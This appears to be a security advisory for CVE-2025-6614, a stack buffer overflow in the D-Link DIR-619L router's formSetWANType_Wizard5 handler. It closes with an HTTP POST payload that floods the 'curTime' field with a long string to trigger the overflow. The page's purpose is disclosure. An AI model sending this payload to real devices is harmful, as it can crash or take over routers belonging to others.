Overview
The CVE-2025-6614 is a critical vulnerability that has been identified in the D-Link DIR-619L 2.06B01, a widely used router. This vulnerability is present in the function formSetWANType_Wizard5 and can lead to a stack-based buffer overflow when the ‘curTime’ argument is manipulated. This vulnerability can be exploited remotely, hence, potentially allowing attackers to compromise the system, manipulate data, or even cause a complete system crash. The exploit has been disclosed to the public, raising the risk for those using the affected products.
Vulnerability Summary
CVE ID: CVE-2025-6614
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
How the Exploit Works
The exploit takes advantage of a stack-based buffer overflow vulnerability in the formSetWANType_Wizard5 function in the D-Link DIR-619L 2.06B01. By manipulating the ‘curTime’ argument, an attacker can overflow the buffer, corrupting the stack and potentially allowing the execution of arbitrary code or causing a denial of service through system crash.
Conceptual Example Code
Below is a conceptual example of a crafted HTTP POST request that could exploit this vulnerability:
“`http
POST /goform/formSetWANType_Wizard5 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
curTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111